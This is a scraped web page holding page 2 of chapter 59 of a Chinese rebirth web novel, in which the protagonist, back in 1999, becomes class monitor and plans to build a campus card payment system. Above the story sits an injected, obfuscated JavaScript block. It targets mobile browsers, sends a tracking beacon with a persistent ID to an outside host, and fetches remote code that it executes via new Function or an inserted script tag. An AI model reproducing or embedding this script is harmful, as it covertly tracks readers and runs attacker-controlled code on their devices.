第59章 校园卡(第2页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
最为关键的是,他那种玩笑、调侃式的处事方式很对大家胃口,因此在大家得知张高阳指定他当班长时,根本就没人觉得这有问题。
唯一不服的就只剩下不知情的何勇。
“请客可以,但喝酒今天就算了,今天中午我请食堂,大家想吃什么可以随意点,以不浪费为原则。”
面对大家要求请客的起哄,余文钢又表了个态。
这一提议立即又得到了大家的支持。
对于现在的这帮同学来说,大家要的是余文钢请客的态度,至于请什么,其实并不重要。
大家立即就簇拥着往信息学部一食堂走去。
何勇也跟着大家在往前走。
但他心里却在想:老师刚指定你当班长,你就请客,这样岂不是有贿赂大家的嫌疑?
对此,他又是有想法的,可为了避免引起公愤,他并没有说什么。
大家很快就抵达了一食堂。
在信息学部,总共有两个食堂,其中一食堂是规模最大的,这里口味还凑合,价格也挺实惠,因此是大部分学生常来就餐的地方。
对于这里,余文钢也是很熟悉的。
不过在到了食堂之后,他这才想起来,自己竟然还没买饭票。
还要买饭票!
余文钢突然又感觉有点不习惯了。
作为一个过来人,余文钢在前世已经习惯了凡事刷手机,再次一点,就是刷银行卡,最次就是使用现金支付,而在这个信息化时代才刚刚起步的年代,吃个饭竟然还要先买饭票。
稍稍有点麻烦!
余文钢记得,一直要到两年之后,江大才开始在学校里推广校园卡,饭票这东西才逐渐退出历史舞台。
要不要提前把校园卡这东西给弄出来?
余文钢突然冒出了这样一个念头。
要知道,为尽快实现自己的财务自由,他现在已打定主意,想要在信息领域做出点文章来,可是在具体的项目上,他暂时还没明确的思路。
校园卡不就是一个很可行的项目吗!
那技术上可行吗?
它的实现难度大吗?
余文钢开始认真考虑起这些问题。
从技术上来说,最简单版本的校园卡系统理论上应该由三部分组成,一是老师和学生人手一张的非接触式射频ic卡,二是用来支付的刷卡终端,三是完整的校园卡系统。
在这三部分里面,ic卡和刷卡终端应该有现成的厂商可以合作,因此余文钢要想着手这个项目,最为关键也最为核心的部分就是在于完整的校园卡系统。
那完整的校园卡系统难度大吗?
如果是完整的校园一卡通系统,那工作量可不是一般的大,就算余文钢在前世有着丰富的开发经验,这个项目他要想一个人全部干下来,耗费的时间将不是一般的长。
可是别忘了,现在才1999年,完整的校园一卡通系统起码要到十年后才开始在国内大规模普及,因此,余文钢现在只需先实现一些简单的功能,比如说校园内的食堂、商店刷卡消费之类的。
至于其它的功能,比如说和银行卡绑定,图书馆、机房、学籍管理等,完全可以先规划预留,以后再慢慢扩充。
这样一来,这一项目的可行性就没问题了。
要知道,从本质上来说,校园卡项目是一个跟网络通信相关的支付项目,而余文钢在前世干的就是与此相关的,而且还是远比这个项目要大得多、也复杂得多的通信计费、支付等项目。
因此,从技术上来说,开发一个简单版的校园卡系统对他来说完全没难度。
就它了!
余文钢开始兴奋起来。